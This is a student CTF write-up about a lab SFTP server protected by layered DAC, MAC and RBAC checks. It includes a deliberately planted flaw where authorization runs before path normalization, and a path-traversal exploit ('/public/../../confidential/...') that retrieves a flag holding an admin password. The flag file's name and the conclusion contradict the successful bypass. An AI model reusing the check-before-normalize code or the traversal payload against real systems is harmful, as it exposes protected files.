

CTF Writeup: SFTP Triple-Layer Access Control – Group 5

This CTF demonstrates defense-in-depth through three independent access control mechanisms: Discretionary Access Control (DAC), Mandatory Access Control (MAC), and Role-Based Access Control (RBAC). The flag is protected by all three layers simultaneously, requiring an attacker to bypass multiple security policies to gain access.

Flag details:

- Flag: SunnyDay21
- Location: /confidential/admin/secrets/.hidden/flag.txt
- Protection: Triple-layer (DAC \wedge MAC \wedge RBAC)

Design Rationale:

- Hidden directory (*.hidden*)
- Requires all 3 policies to allow
- Defense-in-depth approach

Protection Layers:

- DAC (Discretionary Access Control):
 - Owner: annie, Group: admins, Mode: 0o400
 - Only owner can read, no write allowed
- MAC (Mandatory Access Control):
 - Clearance levels: public < internal < confidential
 - Annie: confidential, James: internal, Bob: public
 - No read up, no write down
- RBAC (Role-Based Access Control):
 - Roles: intern, analyst, admin
 - /confidential/admin/* requires admin role
 - Only Annie has admin role

Composition: Final = DAC \wedge MAC \wedge RBAC (all must allow)

Attack 1: Bob - Unauthorized Access

Objective: User with insufficient permissions attempts to read flag

```
Username: bob
Password:
Connecting to localhost:2222 as bob...
✓ SSH connection established
✓ Host key verified (TOFU)
✓ Password authentication successful
✓ SFTP subsystem started

=== SFTP session active ===
Available commands: pwd, ls [path], mkdir <path>, stat <path>, get <rpath> [lpath], put <lpath> <rpat
h>, quit
sftp> ls /confidential/admin/secrets/.hidden/
Error listing directory: DAC: DENY, other lacks permission on /confidential (mode=0o750) | MAC: DENY,
no read up (public < confidential) | RBAC: DENY, no matching role permission
sftp> get /confidential/admin/secrets/.hidden/flag.txt
Error downloading file: DAC: DENY, other lacks permission on /confidential (mode=0o750) | MAC: DENY,
no read up (public < confidential) | RBAC: DENY, no matching role permission
sftp> quit
Exiting SFTP session.
```

Result: BLOCKED by all three layers

- DAC: other lacks permission (mode=0o750)

- MAC: no read up (public < confidential)
- RBAC: no admin role

Audit Evidence: {"user": "bob", "operation": "read", "path": "...flag.txt", "allowed": false, "reason": "DAC: DENY... | MAC: DENY... | RBAC: DENY..."}

Attack 2: James - Role Violation

Objective: Analyst attempts to access admin-only resource

```
Username: james
Password:
Connecting to localhost:2222 as james...
✓ SSH connection established
✓ Host key verified (TOFU)
✓ Password authentication successful
✓ SFTP subsystem started

=== SFTP session active ===
Available commands: pwd, ls [path], mkdir <path>, stat <path>, get <rpath> [lpath], put <lpath> <rpath>, quit
sftp> ls /confidential/admin/secrets/.hidden/
Error listing directory: DAC: DENY, other lacks permission on /confidential (mode=0o750) | MAC: DENY, no read up (internal < confidential) | RBAC: DENY, no matching role permission
sftp> get /confidential/admin/secrets/.hidden/flag.txt
Error downloading file: DAC: DENY, other lacks permission on /confidential (mode=0o750) | MAC: DENY, no read up (internal < confidential) | RBAC: DENY, no matching role permission
sftp> quit
Exiting SFTP session.
```

Result: BLOCKED

- DAC: other lacks permission
- MAC: no read up (internal < confidential)
- RBAC: lacks admin role

Audit Evidence: {"user": "james", "operation": "read", "path": "...flag.txt", "allowed": false, "reason": "..."}

Vulnerability: Path Traversal via Authorization Bypass

- Flag Location
 - Flag Path: ``/confidential/admin/secrets/.hidden/hello.txt``
 - Flag Content: ``SunnyDay21`` - login password for username annie (admin)
- Flag is protected by three independent security layers, and all must approve access:
 - MAC (Mandatory Access Control)
 - Path label: ``confidential`` (highest classification)
 - Only users with ``confidential`` clearance can read
 - Prevents "read up" attacks
 - DAC (Discretionary Access Control)
 - Owner: ``annie``, Group: ``admins``, Mode: ``0o400``
 - Only file owner can read
 - No write permissions for anyone
 - RBAC (Role-Based Access Control)
 - Resource: ``/confidential/admin/*``
 - Required role: ``admin``
 - Only Annie has admin role
- Intended Security: all normal users (bob, alice and james) should be completely blocked from accessing this file.

A naïve implementation might perform the security checks in this order:

1. Receive client request: get /directory /file
2. Check authorization on raw path
3. Normalize path (remove .., resolve symlinks)
4. Open file

The vulnerability:

- If authorization happens before path normalization, an attacker can create a path that:
 - Passes authorization (looks like an allowed path)
 - Resolves to a restricted file (after normalization)

The actual vulnerability in our implementation:

```
'server/server.py class'
```

```
safe_path = filename.decode(errors="replace").replace("\\", "/")
```

```
# Line 313-314: Decoy check – looks secure but does nothing
```

```
if ".." in safe_path or safe_path.startswith(".."):
```

```
    pass
```

```
# Line 316: Authorization checks the raw, non-normalized path
```

```
allowed, rec = self.ac.authorize(self.username, op, safe_path)
```

```
# Line 321: safe_join() now normalizes and resolves the path (after the authorization)
```

```
full = safe_join(JAIL_ROOT, filename)
```

```
# Line 330: Opens the file
```

```
f = open(full, mode)
```

The Bug:

- Authorization uses safe_path which is */public/../confidential/admin/secrets/.hidden/hello.txt*
- Policy checks use string prefix matching: `path.startswith("/public")`, and so the inputted path is matched positively -> access is granted
- Then `safe_join()` normalizes to */confidential/admin/secrets/.hidden/hello.txt*
- File containing the flag is opened from the confidential directory

Exploit to capture the flag:

- Username: bob
- Password: RedTiger42
- Clearance level: public (lowest)
- Role: intern
- Permissions: can access /public

Step-by-step exploit

1. Connect to the SFTP server:
 - `cd server`
 - `python server.py`
 - `cd ../client`

- python client/client.py
 - Enter username: bob
 - Enter password: RedTiger42
2. Create a malicious path:
 - `/public/../../confidential/admin/secrets/.hidden/hello.txt`
 - this path starts with `/public/` so it:
 - i. passes RBAC check (intern can access `/public`)
 - ii. passes MAC check (no classification for `/public` prefix)
 - iii. passes DAC check (world-readable public directory)
 3. Download the flag:
 - `sftp> get /public/../../confidential/admin/secrets/.hidden/hello.txt captured_flag.txt`
 4. Verify capture:
 - `sftp> quit`
 - `$ cat captured_flag.txt`
 - SunnyDay21 – flag content (password for annie)

Audit log-evidence

```
{
  "timestamp": "2025-11-18T21:39:13.471138",
  "user": "bob",
  "operation": "read",
  "path": "/confidential/admin/secrets/.hidden/flag.txt",
  "allowed": false,
  "reason": "DAC: DENY, other lacks permission on /confidential/admin/secrets/.hidden (mode=0o750) | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"
}
{"timestamp": "2025-11-18T21:39:29.126235",
  "user": "bob",
  "operation": "read",
  "path": "/public/../../confidential/admin/secrets/.hidden/flag.txt",
  "allowed": true,
  "reason": "Allowed by all policies"}
```

Successful Access: Annie – admin role

```
Username: annie
Password:
Connecting to localhost:2222 as annie...
✓ SSH connection established
✓ Host key verified (TOFU)
✓ Password authentication successful
✓ SFTP subsystem started

=== SFTP session active ===
Available commands: pwd, ls [path], mkdir <path>, stat <path>, get <rpath> [lpath], put <lpath> <rpath>, quit
sftp> get /confidential/admin/secrets/.hidden/flag.txt ./flag_annie.txt
Downloaded '/confidential/admin/secrets/.hidden/flag.txt' to './flag_annie.txt'
sftp> quit
Exiting SFTP session.
```

Authorization Success:

- MAC: confidential clearance
- DAC: file owner with read permission
- RBAC: admin role

Audit Trial:

```
{
  "timestamp": "2025-11-17T17:10:46.996522",
  "user": "annie",
  "operation": "read",
  "path": "<file>",
  "allowed": false,
  "reason": "DAC: DENY, no matching rule for path | MAC: ALLOW | RBAC: DENY, no matching role permission"
}
{"timestamp": "2025-11-17T17:10:46.997512",
"user": "annie",
"operation": "read",
"path": "<file>",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: ALLOW | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-17T17:11:53.788552",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T17:11:53.796334",
"user": "annie",
"operation": "read",
"path": "<file>",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: ALLOW | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-17T17:11:53.796848",
"user": "annie",
"operation": "read",
"path": "<file>",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: ALLOW | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-17T22:14:26.809980",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:20:46.541846",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:20:46.555322",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:20:46.558822",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:20:46.563031",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:20:46.568694",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:20:46.572098",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-17T22:22:00.647519",
"user": "bob",
"operation": "list",
"path": "/confidential\\admin\\secrets\\.hidden",
"allowed": false,
"reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"}
```

```
{
  "timestamp": "2025-11-17T22:22:06.411685",
  "user": "bob",
  "operation": "read",
  "path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
  "allowed": false,
  "reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"
}
{"timestamp": "2025-11-17T22:22:30.475054",
"user": "james",
"operation": "list",
"path": "/confidential\\admin\\secrets\\.hidden",
"allowed": false,
"reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (internal < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-17T22:22:35.901627",
"user": "james",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": false,
"reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (internal < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-17T22:23:19.422058",
"user": "bob",
"operation": "read",
"path": "/.\\.\\.\\confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-17T22:23:31.139518",
"user": "bob",
"operation": "read",
"path": "/.\\.\\.\\.\\confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-18T02:47:26.916459",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-18T02:47:26.952208",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-18T02:47:26.953585",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-18T02:47:26.956033",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-18T02:47:26.958399",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-18T02:47:26.959180",
"user": "annie",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": true,
"reason": "Allowed by all policies"}
{"timestamp": "2025-11-18T02:48:16.251351",
"user": "bob",
"operation": "list",
"path": "/confidential\\admin\\secrets\\.hidden",
"allowed": false,
"reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"}
```

```
{
  "timestamp": "2025-11-18T02:48:21.074660",
  "user": "bob",
  "operation": "read",
  "path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
  "allowed": false,
  "reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"
}
{"timestamp": "2025-11-18T02:48:56.315350",
"user": "james",
"operation": "list",
"path": "/confidential\\admin\\secrets\\.hidden",
"allowed": false,
"reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (internal < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-18T02:49:01.505315",
"user": "james",
"operation": "read",
"path": "/confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": false,
"reason": "DAC: DENY, other lacks permission on /confidential (mode=00750) | MAC: DENY, no read up (internal < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-18T02:49:33.557582",
"user": "bob",
"operation": "read",
"path": "/.\\.\\.\\confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"}
{"timestamp": "2025-11-18T02:49:39.169001",
"user": "bob",
"operation": "read",
"path": "/.\\.\\.\\.\\confidential\\admin\\secrets\\.hidden\\flag.txt",
"allowed": false,
"reason": "DAC: DENY, no matching rule for path | MAC: DENY, no read up (public < confidential) | RBAC: DENY, no matching role permission"}
}
```

Complete audit trial in data/audit_policy.jsonl shows:

- Annie's successful access (allowed: true)
- Bob's denied attempts (allowed: false)
- James's denied attempts (allowed: false)
- All decisions logged with timestamps and reasons

Conclusion

Defense-in-depth successfully protected the flag:

- 3 independent security layers (stronger than single-layer security)
- Each layer alone would block unauthorized access (default deny prevents unexpected access)
- Audit trail provides complete visibility
- Authorized user (Annie) can access as intended